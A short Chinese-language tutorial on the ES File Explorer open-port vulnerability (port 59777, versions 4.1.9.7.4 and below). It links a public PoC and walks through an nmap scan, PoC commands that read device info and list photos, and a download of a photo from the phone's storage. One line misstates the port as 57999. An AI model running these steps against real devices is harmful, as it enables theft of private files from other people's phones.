漏洞描述
在受影响的ES文件浏览器上，会启用59777/tcp端口作为HTTP服务器，攻击者只需要构造恶意的json请求就可以对受害者进行文件下载，应用打开。更可以用过漏洞进行中间人(MITM)攻击。
受影响版本
4.1.9.7.4及以下
POC地址
https://github.com/fs0c131y/ESFileExplorerOpenPortVuln
POC使用方法
POC在使用之前需要安装以下三个模块
requests
pylint
autopep8
可以利用pip3来安装它们

漏洞利用过程
首先在Android上安装受影响的版本ES文件浏览器
使用nmap查看是否开启57999端口
sudo nmap -sS -p 59777 -v 192.168.0.100
目标开启后，就可以利用POC验证是否存在漏洞
python3 poc.py --cmd getDeviceInfo --network 192.168.0.
通过执行getDeiceInfo来查看系统的信息
PACT00就是你的手机型号了
再来利用listPics来列出手机里图片的路径
有很多，随便从中选一个，利用-g来下载它
-g后面的路径参数一定要跟刚才获取到的信息来判断
然后输入以下路径
python3 poc.py -g /sdcard/Tencent/QQ_Images/-1915ed44cc2d41ae.jpg
这张图片是
下载后就会保存在当前目录
